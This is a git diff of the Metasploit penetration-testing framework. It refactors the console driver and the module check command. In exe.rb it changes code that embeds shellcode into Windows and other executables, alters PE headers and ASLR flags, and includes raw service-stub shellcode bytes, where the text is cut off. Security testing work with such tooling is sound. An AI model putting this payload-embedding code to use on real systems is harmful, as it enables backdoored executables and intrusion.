b/lib/msf/ui/console/driver.rb @@ -15,12 +15,9 @@ module Msf module Ui module Console -### # -# This class implements a user interface driver on a console interface. +# A user interface driver on a console interface. # -### - class Driver < Msf::Ui::Driver ConfigCore = "framework/core" @@ -44,42 +41,28 @@ class Driver < Msf::Ui::Driver # prompt character. The optional hash can take extra values that will # serve to initialize the console driver. # - # The optional hash values can include: - # - # AllowCommandPassthru - # - # Whether or not unknown commands should be passed through and executed by - # the local system. - # - # RealReadline - # - # Whether or to use the system Readline or the RBReadline (default) - # - # HistFile - # - # Name of a file to store command history - # + # @option opts [Boolean] 'AllowCommandPassthru' (true) Whether to allow + # unrecognized commands to be executed by the system shell + # @option opts [Boolean] 'RealReadline' (false) Whether to use the system's + # readline library instead of RBReadline + # @option opts [String] 'HistFile' (Msf::Config.history_file) Path to a file + # where we can store command history + # @option opts [Array<String>] 'Resources' ([]) A list of resource files to + # load. If no resources are given, will load the default resource script, + # 'msfconsole.rc' in the user's {Msf::Config.config_directory config + # directory} + # @option opts [Boolean] 'SkipDatabaseInit' (false) Whether to skip + # connecting to the database and running migrations def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {}) - - # Choose a readline library before calling the parent - rl = false - rl_err = nil - begin - if(opts['RealReadline']) - require 'readline' - rl = true - end - rescue ::LoadError - rl_err = $! - end - - # Default to the RbReadline wrapper - require 'readline_compatible' if(not rl) + choose_readline(opts) histfile = opts['HistFile'] || Msf::Config.history_file # Initialize attributes - self.framework = opts['Framework'] || Msf::Simple::Framework.create(opts) + + # Defer loading of modules until paths from opts can be added below + framework_create_options = opts.merge('DeferModuleLoads' => true) + self.framework = opts['Framework'] || Msf::Simple::Framework.create(framework_create_options) if self.framework.datastore['Prompt'] prompt = self.framework.datastore['Prompt'] @@ -118,9 +101,9 @@ class Driver < Msf::Ui::Driver enstack_dispatcher(CommandDispatcher::Core) # Report readline error if there was one.. - if not rl_err.nil? + if !@rl_err.nil? print_error("***") - print_error("* WARNING: Unable to load readline: #{rl_err}") + print_error("* WARNING: Unable to load readline: #{@rl_err}") print_error("* Falling back to RbReadLine") print_error("***") end @@ -158,6 +141,9 @@ class Driver < Msf::Ui::Driver # Whether or not command passthru should be allowed self.command_passthru = (opts['AllowCommandPassthru'] == false) ? false : true + # Whether or not to confirm before exiting + self.confirm_exit = (opts['ConfirmExit'] == true) ? true : false + # Disables "dangerous" functionality of the console @defanged = opts['Defanged'] == true @@ -176,54 +162,60 @@ class Driver < Msf::Ui::Driver end end - # Look for our database configuration in the following places, in order: - # command line arguments - # environment variable - # configuration directory (usually ~/.msf3) - dbfile = opts['DatabaseYAML'] - dbfile ||= ENV["MSF_DATABASE_CONFIG"] - dbfile ||= File.join(Msf::Config.get_config_root, "database.yml") - if (dbfile and File.exists? dbfile) - if File.readable?(dbfile) - dbinfo = YAML.load(File.read(dbfile)) - dbenv = opts['DatabaseEnv'] || "production" - db = dbinfo[dbenv] - else - print_error("Warning, #{dbfile} is not readable. Try running as root or chmod.") - end - if not db - print_error("No database definition for environment #{dbenv}") - else - if not framework.db.connect(db) - if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i - print_error("***") - print_error("*") - print_error("* Metasploit now requires version 0.11 or higher of the 'pg' gem for database support") - print_error("* There a three ways to accomplish this upgrade:") - print_error("* 1. If you run Metasploit with your system ruby, simply upgrade the gem:") - print_error("* $ rvmsudo gem install pg ") - print_error("* 2. Use the Community Edition web interface to apply a Software Update") - print_error("* 3. Uninstall, download the latest version, and reinstall Metasploit") - print_error("*") - print_error("***") - print_error("") - print_error("") - end + if framework.db.connection_established? + framework.db.after_establish_connection + else + configuration_pathname = Metasploit::Framework::Database.configurations_pathname(path: opts['DatabaseYAML']) - print_error("Failed to connect to the database: #{framework.db.error}") + unless configuration_pathname.nil? + if configuration_pathname.readable? + dbinfo = YAML.load_file(configuration_pathname) + dbenv = opts['DatabaseEnv'] || Rails.env + db = dbinfo[dbenv] else - self.framework.modules.refresh_cache_from_database + print_error("Warning, #{configuration_pathname} is not readable. Try running as root or chmod.") + end - if self.framework.modules.cache_empty? - print_status("The initial module cache will be built in the background, this can take 2-5 minutes...") - end + if not db + print_error("No database definition for environment #{dbenv}") + else + framework.db.connect(db) end end end + + # framework.db.active will be true if after_establish_connection ran directly when connection_established? was + # already true or if framework.db.connect called after_establish_connection. + if framework.db.active + unless opts['DeferModuleLoads'] + self.framework.modules.refresh_cache_from_database + + if self.framework.modules.cache_empty? + print_status("The initial module cache will be built in the background, this can take 2-5 minutes...") + end + end + elsif !framework.db.error.nil? + if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i + print_error("***") + print_error("*") + print_error("* Metasploit now requires version 0.11 or higher of the 'pg' gem for database support") + print_error("* There a three ways to accomplish this upgrade:") + print_error("* 1. If you run Metasploit with your system ruby, simply upgrade the gem:") + print_error("* $ rvmsudo gem install pg ") + print_error("* 2. Use the Community Edition web interface to apply a Software Update") + print_error("* 3. Uninstall, download the latest version, and reinstall Metasploit") + print_error("*") + print_error("***") + print_error("") + print_error("") + end + + print_error("Failed to connect to the database: #{framework.db.error}") + end end - # Initialize the module paths only if we didn't get passed a Framework instance - unless opts['Framework'] + # Initialize the module paths only if we didn't get passed a Framework instance and 'DeferModuleLoads' is false + unless opts['Framework'] || opts['DeferModuleLoads'] # Configure the framework module paths self.framework.init_module_paths self.framework.modules.add_module_path(opts['ModulePath']) if opts['ModulePath'] @@ -240,14 +232,14 @@ class Driver < Msf::Ui::Driver # Process things before we actually display the prompt and get rocking on_startup(opts) - # Process the resource script - if opts['Resource'] and opts['Resource'].kind_of? Array + # Process any resource scripts + if opts['Resource'].blank? + # None given, load the default + load_resource(File.join(Msf::Config.config_directory, 'msfconsole.rc')) + else opts['Resource'].each { |r| load_resource(r) } - else - # If the opt is nil here, we load ~/.msf3/msfconsole.rc - load_resource(opts['Resource']) end # Process any additional startup commands @@ -420,13 +412,19 @@ class Driver < Msf::Ui::Driver end end + # Processes a resource script file for the console. # - # Processes the resource script file for the console. - # - def load_resource(path=nil) - path ||= File.join(Msf::Config.config_directory, 'msfconsole.rc') - return if not ::File.readable?(path) - resource_file = ::File.read(path) + # @param path [String] Path to a resource file to run + # @return [void] + def load_resource(path) + if path == '-' + resource_file = $stdin.read + path = 'stdin' + elsif ::File.readable?(path) + resource_file = ::File.read(path) + else + return + end self.active_resource = resource_file @@ -534,6 +532,11 @@ class Driver < Msf::Ui::Driver framework.events.on_ui_start(Msf::Framework::Revision) + if $msf_spinner_thread + $msf_spinner_thread.kill + $stderr.print "\n" + end + run_single("banner") unless opts['DisableBanner'] opts["Plugins"].each do |plug| @@ -593,6 +596,10 @@ class Driver < Msf::Ui::Driver # attr_reader :framework # + # Whether or not to confirm before exiting + # + attr_reader :confirm_exit + # # Whether or not commands can be passed through. # attr_reader :command_passthru @@ -628,6 +635,7 @@ class Driver < Msf::Ui::Driver protected attr_writer :framework # :nodoc: + attr_writer :confirm_exit # :nodoc: attr_writer :command_passthru # :nodoc: # @@ -708,6 +716,43 @@ protected set_log_level(Msf::LogSource, val) end + # Require the appropriate readline library based on the user's preference. + # + # @return [void] + def choose_readline(opts) + # Choose a readline library before calling the parent + @rl_err = nil + if opts['RealReadline'] + # Remove the gem version from load path to be sure we're getting the + # stdlib readline. + gem_dir = Gem::Specification.find_all_by_name('rb-readline').first.gem_dir + rb_readline_path = File.join(gem_dir, "lib") + index = $LOAD_PATH.index(rb_readline_path) + # Bundler guarantees that the gem will be there, so it should be safe to + # assume we found it in the load path, but check to be on the safe side. + if index + $LOAD_PATH.delete_at(index) + end + end + + begin + require 'readline' + rescue ::LoadError => e + if @rl_err.nil? && index + # Then this is the first time the require failed and we have an index + # for the gem version as a fallback. + @rl_err = e + # Put the gem back and see if that works + $LOAD_PATH.insert(index, rb_readline_path) + index = rb_readline_path = nil + retry + else + # Either we didn't have the gem to fall back on, or we failed twice. + # Nothing more we can do here. + raise e + end + end + end end # @@ -720,6 +765,7 @@ class DefangedException < ::Exception end end + end end end diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index d384abfb9c..6f65083ee7 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -88,7 +88,7 @@ module ModuleCommandDispatcher # datastore option instance = mod.replicant instance.datastore['RHOST'] = tip.dup - framework.events.on_module_created(instance) + Msf::Simple::Framework.simplify_module(instance, false) check_simple(instance) } end @@ -124,14 +124,13 @@ module ModuleCommandDispatcher def cmd_check(*args) defanged? - ip_range_arg = args.shift || framework.datastore['RHOSTS'] || mod.datastore['RHOSTS'] || '' - hosts = Rex::Socket::RangeWalker.new(ip_range_arg) + ip_range_arg = args.shift || mod.datastore['RHOSTS'] || framework.datastore['RHOSTS'] || '' + opt = Msf::OptAddressRange.new('RHOSTS') begin - if hosts.ranges.blank? - # Check a single rhost - check_simple - else + if !ip_range_arg.blank? && opt.valid?(ip_range_arg) + hosts = Rex::Socket::RangeWalker.new(opt.normalize(ip_range_arg)) + # Check multiple hosts last_rhost_opt = mod.rhost last_rhosts_opt = mod.datastore['RHOSTS'] @@ -144,7 +143,14 @@ module ModuleCommandDispatcher mod.datastore['RHOSTS'] = last_rhosts_opt mod.cleanup end + else + # Check a single rhost + unless Msf::OptAddress.new('RHOST').valid?(mod.datastore['RHOST']) + raise Msf::OptionValidateError.new(['RHOST']) + end + check_simple end + rescue ::Interrupt # When the user sends interrupt trying to quit the task, some threads will still be active. # This means even though the console tells the user the task has aborted (or at least they @@ -164,7 +170,12 @@ module ModuleCommandDispatcher end rhost = instance.rhost - rport = instance.rport + rport = nil + peer = rhost + if instance.datastore['rport'] + rport = instance.rport + peer = "#{rhost}:#{rport}" + end begin code = instance.check_simple( @@ -172,21 +183,27 @@ module ModuleCommandDispatcher 'LocalOutput' => driver.output) if (code and code.kind_of?(Array) and code.length > 1) if (code == Msf::Exploit::CheckCode::Vulnerable) - print_good("#{rhost}:#{rport} - #{code[1]}") + print_good("#{peer} - #{code[1]}") else - print_status("#{rhost}:#{rport} - #{code[1]}") + print_status("#{peer} - #{code[1]}") end else - print_error("#{rhost}:#{rport} - Check failed: The state could not be determined.") + msg = "#{peer} - Check failed: The state could not be determined." + print_error(msg) + elog("#{msg}\n#{caller.join("\n")}") end - rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error + rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error => e # Connection issues while running check should be handled by the module - rescue ::RuntimeError + elog("#{e.message}\n#{e.backtrace.join("\n")}") + rescue ::RuntimeError => e # Some modules raise RuntimeError but we don't necessarily care about those when we run check() + elog("#{e.message}\n#{e.backtrace.join("\n")}") rescue Msf::OptionValidateError => e print_error("Check failed: #{e.message}") + elog("#{e.message}\n#{e.backtrace.join("\n")}") rescue ::Exception => e - print_error("#{rhost}:#{rport} - Check failed: #{e.class} #{e}") + print_error("#{peer} - Check failed: #{e.class} #{e}") + elog("#{e.message}\n#{e.backtrace.join("\n")}") end end diff --git a/lib/msf/ui/logos/test.rb b/lib/msf/ui/logos/test.rb deleted file mode 100644 index 2a8e063414..0000000000 --- a/lib/msf/ui/logos/test.rb +++ /dev/null @@ -1,5 +0,0 @@ - -here = File.expand_path(File.dirname(__FILE__)) - -puts "Hi I live #{here}!" - diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 71f80223ca..ed01ea0334 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -30,8 +30,9 @@ require 'msf/core/exe/segment_injector' path ||= File.join(Msf::Config.data_directory, "templates") # If there's no default name, we must blow it up. - if not exe - raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called w/o default exe name!' + unless exe + raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called ' + + 'without default exe name!' end # Use defaults only if nothing is specified @@ -39,7 +40,7 @@ require 'msf/core/exe/segment_injector' opts[:template] ||= exe # Only use the path when the filename contains no separators. - if not opts[:template].include?(File::SEPARATOR) + unless opts[:template].include?(File::SEPARATOR) opts[:template] = File.join(opts[:template_path], opts[:template]) end @@ -58,91 +59,87 @@ require 'msf/core/exe/segment_injector' end def self.read_replace_script_template(filename, hash_sub) - template_pathname = File.join(Msf::Config.data_directory, "templates", "scripts", filename) - + template_pathname = File.join(Msf::Config.data_directory, "templates", + "scripts", filename) template = '' - File.open(template_pathname, "rb") do |f| - template = f.read - end - - return template % hash_sub + File.open(template_pathname, "rb") {|f| template = f.read} + template % hash_sub end - ## # # Executable generators # ## - def self.to_executable(framework, arch, plat, code='', opts={}) - if (arch.index(ARCH_X86)) + def self.to_executable(framework, arch, plat, code = '', opts = {}) + if arch.index(ARCH_X86) - if (plat.index(Msf::Module::Platform::Windows)) + if plat.index(Msf::Module::Platform::Windows) return to_win32pe(framework, code, opts) end - if (plat.index(Msf::Module::Platform::Linux)) + if plat.index(Msf::Module::Platform::Linux) return to_linux_x86_elf(framework, code) end - if(plat.index(Msf::Module::Platform::OSX)) + if plat.index(Msf::Module::Platform::OSX) return to_osx_x86_macho(framework, code) end - if(plat.index(Msf::Module::Platform::BSD)) + if plat.index(Msf::Module::Platform::BSD) return to_bsd_x86_elf(framework, code) end - if(plat.index(Msf::Module::Platform::Solaris)) + if plat.index(Msf::Module::Platform::Solaris) return to_solaris_x86_elf(framework, code) end # XXX: Add remaining x86 systems here end - if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) ) + if arch.index(ARCH_X86_64) || arch.index(ARCH_X64) if (plat.index(Msf::Module::Platform::Windows)) return to_win64pe(framework, code, opts) end - if (plat.index(Msf::Module::Platform::Linux)) + if plat.index(Msf::Module::Platform::Linux) return to_linux_x64_elf(framework, code, opts) end - if (plat.index(Msf::Module::Platform::OSX)) + if plat.index(Msf::Module::Platform::OSX) return to_osx_x64_macho(framework, code) end end - if(arch.index(ARCH_ARMLE)) - if(plat.index(Msf::Module::Platform::OSX)) + if arch.index(ARCH_ARMLE) + if plat.index(Msf::Module::Platform::OSX) return to_osx_arm_macho(framework, code) end - if(plat.index(Msf::Module::Platform::Linux)) + if plat.index(Msf::Module::Platform::Linux) return to_linux_armle_elf(framework, code) end # XXX: Add remaining ARMLE systems here end - if(arch.index(ARCH_PPC)) - if(plat.index(Msf::Module::Platform::OSX)) + if arch.index(ARCH_PPC) + if plat.index(Msf::Module::Platform::OSX) return to_osx_ppc_macho(framework, code) end # XXX: Add PPC OS X and Linux here end - if(arch.index(ARCH_MIPSLE)) - if(plat.index(Msf::Module::Platform::Linux)) + if arch.index(ARCH_MIPSLE) + if plat.index(Msf::Module::Platform::Linux) return to_linux_mipsle_elf(framework, code) end # XXX: Add remaining MIPSLE systems here end - if(arch.index(ARCH_MIPSBE)) - if(plat.index(Msf::Module::Platform::Linux)) + if arch.index(ARCH_MIPSBE) + if plat.index(Msf::Module::Platform::Linux) return to_linux_mipsbe_elf(framework, code) end # XXX: Add remaining MIPSLE systems here @@ -150,7 +147,23 @@ require 'msf/core/exe/segment_injector' nil end - def self.to_win32pe(framework, code, opts={}) + # Clears the DYNAMIC_BASE flag for a Windows executable + # @param exe [String] The raw executable to be modified by the method + # @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file + # @return [String] the modified executable + def self.clear_dynamic_base(exe, pe) + c_bits = ("%32d" %pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse + c_bits[6] = 0 # DYNAMIC_BASE + new_dllcharacteristics = c_bits.reverse.join.to_i(2) + + # PE Header Pointer offset = 60d + # SizeOfOptionalHeader offset = 94h + dll_ch_offset = exe[60, 4].unpack('h4')[0].reverse.hex + 94 + exe[dll_ch_offset, 2] = [new_dllcharacteristics].pack("v") + exe + end + + def self.to_win32pe(framework, code, opts = {}) # For backward compatability, this is roughly equivalent to 'exe-small' fmt if opts[:sub_method] @@ -159,7 +172,7 @@ require 'msf/core/exe/segment_injector' end # use - return self.to_win32pe_exe_sub(framework, code, opts) + self.to_win32pe_exe_sub(framework, code, opts) end # Allow the user to specify their own EXE template @@ -171,35 +184,32 @@ require 'msf/core/exe/segment_injector' # Create a new PE object and run through sanity checks fsize = File.size(opts[:template]) pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) + text = nil - pe.sections.each do |sec| - text = sec if sec.name == ".text" - end + pe.sections.each {|sec| text = sec if sec.name == ".text"} #try to inject code into executable by adding a section without affecting executable behavior - if(opts[:inject]) + if opts[:inject] injector = Msf::Exe::SegmentInjector.new({ :payload => code, :template => opts[:template], :arch => :x86 }) - exe = injector.generate_pe - return exe + return injector.generate_pe end - if(not text) - raise RuntimeError, "No .text section found in the template" - end + raise RuntimeError, "No .text section found in the template" unless text - if ! text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint) + unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint) raise RuntimeError, "The .text section does not contain an entry point" end p_length = payload.length + 256 - if(text.size < p_length) + if text.size < p_length fname = ::File.basename(opts[:template]) msg = "The .text section for '#{fname}' is too small. " - msg << "Minimum is #{p_length.to_s} bytes, your .text section is #{text.size.to_s} bytes" + msg << "Minimum is #{p_length.to_s} bytes, your .text section is " + + "#{text.size.to_s} bytes" raise RuntimeError, msg end @@ -212,8 +222,9 @@ require 'msf/core/exe/segment_injector' mines = [] pe.hdr.opt['DataDirectory'].each do |dir| next if dir.v['Size'] == 0 - next if not text.contains_rva?( dir.v['VirtualAddress'] ) - mines << [ pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg, dir.v['Size'] ] + next unless text.contains_rva?(dir.v['VirtualAddress']) + delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg + mines << [delta, dir.v['Size']] end # Break the text segment into contiguous blocks @@ -222,23 +233,19 @@ require 'msf/core/exe/segment_injector' mines.sort{|a,b| a[0] <=> b[0]}.each do |mine| bbeg = bidx bend = mine[0] - if(bbeg != bend) - blocks << [bidx, bend-bidx] - end + blocks << [bidx, bend-bidx] if bbeg != bend bidx = mine[0] + mine[1] end # Add the ending block - if(bidx < text.size - 1) - blocks << [bidx, text.size - bidx] - end + blocks << [bidx, text.size - bidx] if bidx < text.size - 1 # Find the largest contiguous block blocks.sort!{|a,b| b[1]<=>a[1]} - block = blocks[0] + block = blocks.first # TODO: Allow the entry point in a different block - if(payload.length + 256 > block[1]) + if payload.length + 256 > block[1] raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})" end @@ -253,10 +260,10 @@ require 'msf/core/exe/segment_injector' eidx = nil # Pad the entry point with random nops - entry = generate_nops(framework, [ARCH_X86], rand(200)+51) + entry = generate_nops(framework, [ARCH_X86], rand(200) + 51) # Pick an offset to store the new entry point - if(eloc == 0) # place the entry point before the payload + if eloc == 0 # place the entry point before the payload poff += 256 eidx = rand(poff-(entry.length + 5)) else # place the entry pointer after the payload @@ -278,92 +285,123 @@ require 'msf/core/exe/segment_injector' # Create the modified version of the input executable exe = '' - File.open(opts[:template], 'rb') { |fd| - exe = fd.read(fd.stat.size) - } + File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)} - exe[ exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = [ text.base_rva + block[0] + eidx ].pack("V") + a = [text.base_rva + block.first + eidx].pack("V") + exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a exe[off_beg, data.length] = data tds = pe.hdr.file.TimeDateStamp - exe[ exe.index([ tds ].pack('V')), 4] = [tds - rand(0x1000000)].pack("V") + exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V") cks = pe.hdr.opt.CheckSum - if(cks != 0) - exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V") + unless cks == 0 + exe[exe.index([cks].pack('V')), 4] = [0].pack("V") end + exe = clear_dynamic_base(exe, pe) pe.close exe end - def self.to_winpe_only(framework, code, opts={}, arch="x86") - - if arch == ARCH_X86_64 - arch = ARCH_X64 - end + def self.to_winpe_only(framework, code, opts = {}, arch="x86") + arch = ARCH_X64 if arch == ARCH_X86_64 # Allow the user to specify their own EXE template - set_template_default(opts, "template_"+arch+"_windows.exe") + set_template_default(opts, "template_#{arch}_windows.exe") pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) exe = '' - File.open(opts[:template], 'rb') { |fd| - exe = fd.read(fd.stat.size) - } + File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)} + + pe_header_size = 0x18 + entryPoint_offset = 0x28 + section_size = 0x28 + characteristics_offset = 0x24 + virtualAddress_offset = 0x0c + sizeOfRawData_offset = 0x10 + + sections_table_offset = + pe._dos_header.v['e_lfanew'] + + pe._file_header.v['SizeOfOptionalHeader'] + + pe_header_size + + sections_table_characteristics_offset = sections_table_offset + characteristics_offset sections_header = [] - pe._file_header.v['NumberOfSections'].times { |i| sections_header << [(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18+0x24),exe[(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18),0x28]] } + pe._file_header.v['NumberOfSections'].times do |i| + section_offset = sections_table_offset + (i * section_size) + sections_header << [ + sections_table_characteristics_offset + (i * section_size), + exe[section_offset,section_size] + ] + end + addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint - #look for section with entry point + # look for section with entry point sections_header.each do |sec| - virtualAddress = sec[1][0xc,0x4].unpack('L')[0] - sizeOfRawData = sec[1][0x10,0x4].unpack('L')[0] - characteristics = sec[1][0x24,0x4].unpack('L')[0] - if pe.hdr.opt.AddressOfEntryPoint >= virtualAddress && pe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData - #put this section writable - characteristics|=0x80000000 - newcharacteristics = [characteristics].pack('L') - exe[sec[0],newcharacteristics.length]=newcharacteristics + virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0] + sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0] + characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0] + + if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint) + importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0] + if (importsTable - addressOfEntryPoint) < code.length + #shift original entry point to prevent tables overwritting + addressOfEntryPoint = importsTable - code.length + 4 + + entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset + exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V') + end + # put this section writable + characteristics |= 0x8000_0000 + newcharacteristics = [characteristics].pack('V') + exe[sec[0],newcharacteristics.length] = newcharacteristics end end - #put the shellcode at the entry point, overwriting template - exe[pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint),code.length]=code - - return exe + # put the shellcode at the entry point, overwriting template + entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint) + exe[entryPoint_file_offset,code.length] = code + exe = clear_dynamic_base(exe, pe) + exe end - def self.to_win32pe_old(framework, code, opts={}) + def self.to_win32pe_old(framework, code, opts = {}) payload = code.dup # Allow the user to specify their own EXE template set_template_default(opts, "template_x86_windows_old.exe") pe = '' - File.open(opts[:template], "rb") { |fd| - pe = fd.read(fd.stat.size) - } + File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)} - if(payload.length <= 2048) + if payload.length <= 2048 payload << Rex::Text.rand_text(2048-payload.length) else - raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module" + raise RuntimeError, "The EXE generator now has a max size of 2048 " + + "bytes, please fix the calling module" end bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag" if not bo + unless bo + raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag" + end pe[bo, payload.length] = payload pe[136, 4] = [rand(0x100000000)].pack('V') ci = pe.index("\x31\xc9" * 160) - raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\"" if not ci + unless ci + raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\"" + end cd = pe.index("\x31\xc9" * 160, ci + 320) - raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\"" if not cd + unless cd + raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\"" + end rc = pe[ci+320, cd-ci-320] # 640 + rc.length bytes of room to store an encoded rc at offset ci @@ -379,44 +417,64 @@ require 'msf/core/exe/segment_injector' # Add a couple random bytes for fun pe << Rex::Text.rand_text(rand(64)+4) + pe + end - return pe + + # Splits a string into a number of assembly push operations + # + # @param string [String] string to be used + # + # @return [String] null terminated string as assembly push ops + def self.string_to_pushes(string) + str = string.dup + # Align string to 4 bytes + rem = (str.length) % 4 + if rem > 0 + str << "\x00" * (4 - rem) + pushes = '' + else + pushes = "h\x00\x00\x00\x00" + end + # string is now 4 bytes aligned with null byte + + # push string to stack, starting at the back + while str.length > 0 + four = 'h'+str.slice!(-4,4) + pushes << four + end + + pushes end def self.exe_sub_method(code,opts ={}) - - pe = '' - File.open(opts[:template], "rb") { |fd| - pe = fd.read(fd.stat.size) - } + pe = self.get_file_contents(opts[:template]) case opts[:exe_type] - when :service_exe - max_length = 8192 - name = opts[:servicename] - - if name - bo = pe.index('SERVICENAME') - raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo - pe[bo, 11] = [name].pack('a11') + when :service_exe + max_length = 8192 + name = opts[:servicename] + if name + bo = pe.index('SERVICENAME') + unless bo + raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" end - - if not opts[:sub_method] - pe[136, 4] = [rand(0x100000000)].pack('V') - end - when :dll - max_length = 2048 - when :exe_sub - max_length = 4096 + pe[bo, 11] = [name].pack('a11') + end + pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method] + when :dll + max_length = 2048 + when :exe_sub + max_length = 4096 end - bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo + bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag") - if (code.length <= max_length) + if code.length <= max_length pe[bo, code.length] = [code].pack("a*") else - raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module" + raise RuntimeError, "The EXE generator now has a max size of " + + "#{max_length} bytes, please fix the calling module" end if opts[:exe_type] == :dll @@ -435,60 +493,129 @@ require 'msf/core/exe/segment_injector' end end - return pe + pe end - def self.to_win32pe_exe_sub(framework, code, opts={}) + def self.to_win32pe_exe_sub(framework, code, opts = {}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x86_windows.exe") opts[:exe_type] = :exe_sub exe_sub_method(code,opts) end - def self.to_win64pe(framework, code, opts={}) + def self.to_win64pe(framework, code, opts = {}) # Allow the user to specify their own EXE template set_template_default(opts, "template_x64_windows.exe") #try to inject code into executable by adding a section without affecting executable behavior - if(opts[:inject]) + if opts[:inject] injector = Msf::Exe::SegmentInjector.new({ :payload => code, :template => opts[:template], :arch => :x64 }) - exe = injector.generate_pe - return exe + return injector.generate_pe end opts[:exe_type] = :exe_sub exe_sub_method(code,opts) end - def self.to_win32pe_service(framework, code, opts={}) - # Allow the user to specify their own service EXE template - set_template_default(opts, "template_x86_windows_svc.exe") - opts[:exe_type] = :service_exe - exe_sub_method(code,opts) + # Embeds shellcode within a Windows PE file implementing the Windows + # service control methods. + # + # @param framework [Object] + # @param code [String] shellcode to be embedded + # @option opts [Boolean] :sub_method use substitution technique with a + # service template PE + # @option opts [String] :servicename name of the service, not used in + # substituion technique + # + # @return [String] Windows Service PE file + def self.to_win32pe_service(framework, code, opts = {}) + if opts[:sub_method] + # Allow the user to specify their own service EXE template + set_template_default(opts, "template_x86_windows_svc.exe") + opts[:exe_type] = :service_exe + return exe_sub_method(code,opts) + else + name = opts[:servicename] + name ||= Rex::Text.rand_text_alpha(8) + pushed_service_name = string_to_pushes(name) + + precode_size = 0xc6 + svcmain_code_offset = precode_size + pushed_service_name.length + + precode_size = 0xcc + hash_code_offset = precode_size + pushed_service_name.length + + precode_size = 0xbf + svcctrlhandler_code_offset = precode_size + pushed_service_name.length + + code_service_stopped = + "\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" + + "#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" + + "\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" + + "\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" + + "\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5" + + precode_size = 0x42 + shellcode_code_offset = code_service_stopped.length + precode_size + + # code_service could be encoded in the future + code_service = + "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + + 